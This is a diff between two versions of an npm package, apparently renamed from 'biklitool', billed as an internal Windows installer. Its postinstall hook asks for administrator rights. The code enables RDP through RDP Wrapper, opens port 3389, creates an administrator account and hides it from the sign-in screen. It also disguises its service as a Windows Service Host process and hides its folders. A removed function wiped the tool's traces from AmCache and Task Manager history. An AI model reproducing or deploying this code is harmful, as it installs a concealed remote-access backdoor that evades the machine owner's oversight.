sbironman 3.0.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1,4 @@
1
- # biklitool
1
+ # sbironman
2
2
 
3
3
  Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
4
 
@@ -8,7 +8,7 @@ shipped in the package):
8
8
  ```text
9
9
  set BIKLIMASTER_USER_PASSWORD=your-password
10
10
  set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
- npm install -g biklitool
11
+ npm install -g sbironman
12
12
  ```
13
13
 
14
14
  The npm postinstall hook requests Windows administrator approval once, then:
@@ -33,6 +33,7 @@ biklitool status
33
33
  biklitool install
34
34
  biklitool disguise [name]
35
35
  biklitool enable-rdp
36
+ biklitool disable-rdp
36
37
  biklitool create-user
37
38
  biklitool unhide-user [name]
38
39
  biklitool hide-user <name>
@@ -48,6 +49,8 @@ bikli --help
48
49
 
49
50
  Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
50
51
  service configuration, and the requested authentication and shadowing defaults.
52
+ Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
53
+ stays installed so `enable-rdp` can switch it back on at any time.
51
54
 
52
55
  ## Bikli key
53
56
 
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
366
366
 
367
367
  const vBuf = createVsVersionInfo(strings);
368
368
  const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
369
+ if (totalRsrcSize > rsrcRawSize) return false;
369
370
 
370
371
  const newExe = Buffer.from(exeBuf);
371
372
  newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
384
385
  return true;
385
386
  }
386
387
 
387
- function clearAppHistory() {
388
- // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
389
- // visible location: Task Manager App History, AppCompatFlags, and service display name.
390
- const psScript = [
391
- `$ErrorActionPreference='SilentlyContinue'`,
392
- // --- [1] TaskFlow AppHistory (per-user hives) ---
393
- `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
394
- `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
395
- ` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
396
- ` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
397
- `}`,
398
- `$cuBase='HKCU:\\\\'+$appHistoryPath`,
399
- `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
400
- // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
401
- `$acPaths=@(`,
402
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
403
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
404
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
405
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
406
- `)`,
407
- `foreach($acPath in $acPaths){`,
408
- ` if(Test-Path $acPath){`,
409
- ` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
410
- ` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
411
- ` }`,
412
- `}`,
413
- // --- [3] AmCache ---
414
- `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
415
- `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
416
- // --- [4] App Paths (Start Menu / Run dialog) ---
417
- `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
418
- `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
419
- // --- [5] Service display name + description → rename to disguise value ---
420
- `$svcName='Bikli'`,
421
- `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
422
- `if($null -ne $svc){`,
423
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
424
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
425
- `}`
426
- ].join(os.EOL);
427
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
428
- }
429
-
430
- function deriveExeName(hostName) {
431
- // Turn e.g. "Service Host: Network Infrastructure Service"
432
- // into "NetworkInfrastructureService.exe" – no Bikli in the name.
433
- const base = hostName.replace(/^Service Host:\s*/i, '').trim();
434
- const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
435
- // Keep only alphanumeric chars, cap at 32 chars before .exe
436
- const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
437
- return (safe || 'RuntimeInfraService') + '.exe';
438
- }
439
-
440
388
  function disguiseBikli(customName) {
441
389
  requireWindows();
390
+ if (customName) customName = customName.replace(/"/g, '').trim();
442
391
  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
443
392
  if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
444
393
 
@@ -448,29 +397,15 @@ function disguiseBikli(customName) {
448
397
  }
449
398
 
450
399
  const bikliDir = path.dirname(bikliPath);
451
- const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
452
- const newExeBasename = deriveExeName(hostName);
453
- const serviceExe = path.join(bikliDir, newExeBasename);
400
+ const serviceExe = path.join(bikliDir, 'BikliService.exe');
454
401
  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
455
402
 
456
- console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
403
+ console.log(`Disguising Bikli process and service as "${hostName}"...`);
457
404
 
458
- // Stop service and kill both the old and new process names
459
- const oldBaseName = path.basename(oldServiceExe, '.exe');
460
- const newBaseName = path.basename(serviceExe, '.exe');
461
- run(powershell, [
462
- '-NoProfile', '-NonInteractive', '-Command',
463
- `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
464
- ], { allowFailure: true });
405
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
465
406
  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
466
407
 
467
- // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
468
- if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
469
- try { fs.renameSync(oldServiceExe, serviceExe); } catch {
470
- fs.copyFileSync(oldServiceExe, serviceExe);
471
- try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
472
- }
473
- } else if (!fs.existsSync(serviceExe)) {
408
+ if (!fs.existsSync(serviceExe)) {
474
409
  fs.copyFileSync(bikliPath, serviceExe);
475
410
  }
476
411
 
@@ -496,7 +431,7 @@ function disguiseBikli(customName) {
496
431
  ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
497
432
  ' }',
498
433
  ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
499
- ` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
434
+ ' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
500
435
  ' if (!File.Exists(coreExe)) return 1;',
501
436
  ' ProcessStartInfo psi = new ProcessStartInfo();',
502
437
  ' psi.FileName = coreExe;',
@@ -523,6 +458,9 @@ function disguiseBikli(customName) {
523
458
  fs.writeFileSync(tempCs, csCode, 'utf8');
524
459
  run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
525
460
  try { fs.rmSync(tempCs, { force: true }); } catch {}
461
+ if (fileDescription(bikliPath) !== hostName) {
462
+ disguiseExecutable(bikliPath, hostName);
463
+ }
526
464
  } else if (fileDescription(bikliPath) !== hostName) {
527
465
  disguiseExecutable(bikliPath, hostName);
528
466
  }
@@ -540,7 +478,6 @@ function disguiseBikli(customName) {
540
478
  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
541
479
 
542
480
  hideProtectedFolders();
543
- clearAppHistory();
544
481
  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
545
482
  }
546
483
 
@@ -597,27 +534,6 @@ function verifyRemoteDesktop() {
597
534
  console.log('Remote Desktop is enabled and verified on port 3389.');
598
535
  }
599
536
 
600
- function ensureTermServiceAutomatic() {
601
- // Force TermService to Automatic start so it survives reboots.
602
- run(powershell, [
603
- '-NoProfile', '-NonInteractive', '-Command',
604
- `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
605
- ], { allowFailure: true });
606
- }
607
-
608
- function ensureIcmpFirewallRules() {
609
- // Enable ping (ICMP) inbound so the host is reachable after install.
610
- const script = [
611
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
612
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
613
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
614
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
615
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
616
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
617
- ].join(';');
618
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
619
- }
620
-
621
537
  function enableRemoteDesktop() {
622
538
  requireWindows();
623
539
  if (!isAdministrator()) return elevateAndRun('enable-rdp');
@@ -625,12 +541,19 @@ function enableRemoteDesktop() {
625
541
  console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
626
542
  const wrapper = runWrapper(['defaults', '--elevated']);
627
543
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
628
- ensureTermServiceAutomatic();
629
- ensureIcmpFirewallRules();
630
544
  verifyRemoteDesktop();
631
545
  hideProtectedFolders();
632
546
  }
633
547
 
548
+ function disableRemoteDesktop() {
549
+ requireWindows();
550
+ if (!isAdministrator()) return elevateAndRun('disable-rdp');
551
+ const wrapper = runWrapper(['disable', '--elevated']);
552
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
553
+ if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
554
+ console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
555
+ }
556
+
634
557
  function install() {
635
558
  requireWindows();
636
559
  if (!isAdministrator()) return elevateAndRun('install');
@@ -640,13 +563,9 @@ function install() {
640
563
  console.log('Installing or updating Bikli Wrapper silently...');
641
564
  const wrapper = runWrapper(['install', '--elevated']);
642
565
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
643
- // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
644
- ensureTermServiceAutomatic();
645
- ensureIcmpFirewallRules();
646
566
  verifyRemoteDesktop();
647
567
  createRdpAdministrator();
648
568
  hideProtectedFolders();
649
- clearAppHistory();
650
569
  console.log('Bikli Master installed and verified both components successfully.');
651
570
  }
652
571
 
@@ -702,7 +621,7 @@ function setupBikliKey() {
702
621
  console.log('Bikli key configured successfully.');
703
622
  }
704
623
 
705
- function hideFolder(target, isUserProfile = false) {
624
+ function hideFolder(target, isUserProfile = false, extraGrants = []) {
706
625
  if (!target || !fs.existsSync(target)) return;
707
626
  try {
708
627
  run(attrib, ['+h', '+s', target], { allowFailure: true });
@@ -714,6 +633,7 @@ function hideFolder(target, isUserProfile = false) {
714
633
  '/grant:r',
715
634
  '*S-1-5-18:(OI)(CI)(F)',
716
635
  `*${administratorsGroupSid}:(OI)(CI)(F)`,
636
+ ...extraGrants,
717
637
  '/c', '/q'
718
638
  ], { allowFailure: true });
719
639
  }
@@ -724,15 +644,18 @@ function hideFolder(target, isUserProfile = false) {
724
644
 
725
645
  function hideProtectedFolders() {
726
646
  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
647
+ // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
648
+ // must keep read/execute access for that account or the service cannot start.
649
+ const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
727
650
  const appFolders = [
728
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
729
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
730
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
731
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
732
- path.join(programData, 'BikliWrapper'),
733
- path.join(programData, 'Bikli')
651
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
652
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
653
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
654
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
655
+ { target: path.join(programData, 'BikliWrapper') },
656
+ { target: path.join(programData, 'Bikli') }
734
657
  ];
735
- for (const folder of appFolders) hideFolder(folder, false);
658
+ for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
736
659
 
737
660
  const userFolders = [
738
661
  path.join(usersDir, 'Administrator'),
@@ -778,6 +701,29 @@ function showAccountCredentials() {
778
701
  console.log(`Stored for Administrators only: ${credentialsFile}`);
779
702
  }
780
703
 
704
+ function parseAccountReport(stdout) {
705
+ const reportLine = (stdout || '')
706
+ .split(/\r?\n/)
707
+ .map(line => line.trim())
708
+ .find(line => line.startsWith('{'));
709
+ if (!reportLine) {
710
+ fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
711
+ }
712
+ try {
713
+ return JSON.parse(reportLine);
714
+ } catch {
715
+ fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
716
+ return null;
717
+ }
718
+ }
719
+
720
+ function requireValidUserName(name) {
721
+ if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
722
+ fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
723
+ }
724
+ return name;
725
+ }
726
+
781
727
  function createRdpAdministrator() {
782
728
  requireWindows();
783
729
  if (!isAdministrator()) return elevateAndRun('create-user');
@@ -802,7 +748,7 @@ function createRdpAdministrator() {
802
748
  `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
803
749
  `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
804
750
  `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
805
- `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
751
+ `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
806
752
  `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
807
753
  ].join(';');
808
754
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -811,7 +757,7 @@ function createRdpAdministrator() {
811
757
  BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
812
758
  }
813
759
  });
814
- const account = JSON.parse(result.stdout.trim());
760
+ const account = parseAccountReport(result.stdout);
815
761
  if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
816
762
  fail('The Remote Desktop administrator account could not be verified.', 7);
817
763
  }
@@ -840,7 +786,7 @@ function createRdpAdministrator() {
840
786
 
841
787
  function unhideUser() {
842
788
  requireWindows();
843
- const targetUser = process.argv[3];
789
+ const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
844
790
  if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
845
791
  const script = [
846
792
  `$ErrorActionPreference='Stop'`,
@@ -850,10 +796,10 @@ function unhideUser() {
850
796
  targetUser ? [
851
797
  `$val=$key.GetValue('${targetUser}', $null)`,
852
798
  `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
853
- `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
799
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
854
800
  ].join(';') : [
855
801
  `$props=@($key.Property)`,
856
- `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
802
+ `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
857
803
  ].join(';')
858
804
  ].join(';');
859
805
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -864,6 +810,7 @@ function hideUser() {
864
810
  requireWindows();
865
811
  const targetUser = process.argv[3];
866
812
  if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
813
+ requireValidUserName(targetUser);
867
814
  if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
868
815
  const script = [
869
816
  `$ErrorActionPreference='Stop'`,
@@ -872,7 +819,7 @@ function hideUser() {
872
819
  `$key=Get-Item -LiteralPath $userListKey`,
873
820
  `$currentVal=$key.GetValue('${targetUser}', $null)`,
874
821
  `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
875
- `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
822
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
876
823
  ].join(';');
877
824
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
878
825
  if (result.stdout.trim()) console.log(result.stdout.trim());
@@ -935,11 +882,11 @@ function help() {
935
882
  ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
936
883
  ' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
937
884
  ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
885
+ ' biklitool disable-rdp Disable RDP and stop the RDP listener',
938
886
  ' biklitool create-user Enable/verify built-in Administrator for RDP',
939
887
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
940
888
  ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
941
889
  ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
942
- ' biklitool clear-history Remove BikliService from Task Manager App History',
943
890
  ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
944
891
  ' biklitool credentials Display its saved generated password',
945
892
  ' biklitool status Show both component states',
@@ -953,20 +900,26 @@ function help() {
953
900
 
954
901
  function main() {
955
902
  const command = (process.argv[2] || 'status').toLowerCase();
956
- if (command === 'install') return install();
903
+ if (command === 'install') {
904
+ if (process.argv.includes('--postinstall')) {
905
+ try {
906
+ return install();
907
+ } catch (error) {
908
+ console.error(`Bikli Master postinstall could not finish: ${error.message}`);
909
+ console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
910
+ process.exitCode = 0;
911
+ return;
912
+ }
913
+ }
914
+ return install();
915
+ }
957
916
  if (command === 'disguise') return disguiseBikli(process.argv[3]);
958
- if (command === 'enable-rdp') return enableRemoteDesktop();
917
+ if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
918
+ if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
959
919
  if (command === 'create-user') return createRdpAdministrator();
960
920
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
961
921
  if (command === 'hide-user' || command === 'hide') return hideUser();
962
922
  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
963
- if (command === 'clear-history' || command === 'clear-app-history') {
964
- requireWindows();
965
- if (!isAdministrator()) return elevateAndRun('clear-history');
966
- clearAppHistory();
967
- console.log('BikliService entries cleared from Task Manager App History.');
968
- return;
969
- }
970
923
  if (command === 'setup-key') return setupBikliKey();
971
924
  if (command === 'credentials') return showAccountCredentials();
972
925
  if (command === 'status') return status();
@@ -24,6 +24,7 @@ if (resultFile) {
24
24
  };
25
25
  console.log = writeResult;
26
26
  console.error = writeResult;
27
+ console.warn = writeResult;
27
28
  }
28
29
 
29
30
  const packageRoot = path.resolve(__dirname, '..');
@@ -228,17 +229,8 @@ function applyRequestedSettings() {
228
229
  function ensureFirewallRules() {
229
230
  const script = [
230
231
  `$ErrorActionPreference='Stop'`,
231
- // RDP TCP + UDP inbound rules
232
232
  `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
233
- `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
234
- // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
235
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
236
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
237
- `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
238
- `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
239
- // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
240
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
241
- `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
233
+ `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
242
234
  ].join(';');
243
235
  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
244
236
  }
@@ -247,6 +239,13 @@ function runInstaller(argument) {
247
239
  return run(installerPath, [argument], { cwd: payloadDirectory });
248
240
  }
249
241
 
242
+ function restartTermService() {
243
+ const net = path.join(system32, 'net.exe');
244
+ run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
245
+ run(net, ['start', 'TermService'], { allowFailure: true });
246
+ run(net, ['start', 'UmRdpService'], { allowFailure: true });
247
+ }
248
+
250
249
  function serviceIsRunning() {
251
250
  const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
252
251
  return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
@@ -261,25 +260,9 @@ function settingsAreCorrect() {
261
260
  return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
262
261
  }
263
262
 
264
- function setTermServiceAutomatic() {
265
- // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
266
- run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
267
- run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
268
- }
269
-
270
263
  function waitForServiceAndListener() {
271
264
  const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
272
- // First wait up to 10s for the service to appear running; force-start if not
273
- for (let attempt = 0; attempt < 10; attempt += 1) {
274
- if (serviceIsRunning()) break;
275
- Atomics.wait(waitBuffer, 0, 0, 1000);
276
- if (attempt === 4) {
277
- // After 5s still not running – kick it
278
- run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
279
- }
280
- }
281
- // Then wait up to 30s for the RDP listener to appear
282
- for (let attempt = 0; attempt < 30; attempt += 1) {
265
+ for (let attempt = 0; attempt < 20; attempt += 1) {
283
266
  if (serviceIsRunning() && listenerIsListening()) return;
284
267
  Atomics.wait(waitBuffer, 0, 0, 1000);
285
268
  }
@@ -309,7 +292,7 @@ function printStatus(status) {
309
292
  console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
310
293
  }
311
294
 
312
- function hideFolder(target, isUserProfile = false) {
295
+ function hideFolder(target, isUserProfile = false, extraGrants = []) {
313
296
  if (!target || !fs.existsSync(target)) return;
314
297
  try {
315
298
  run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
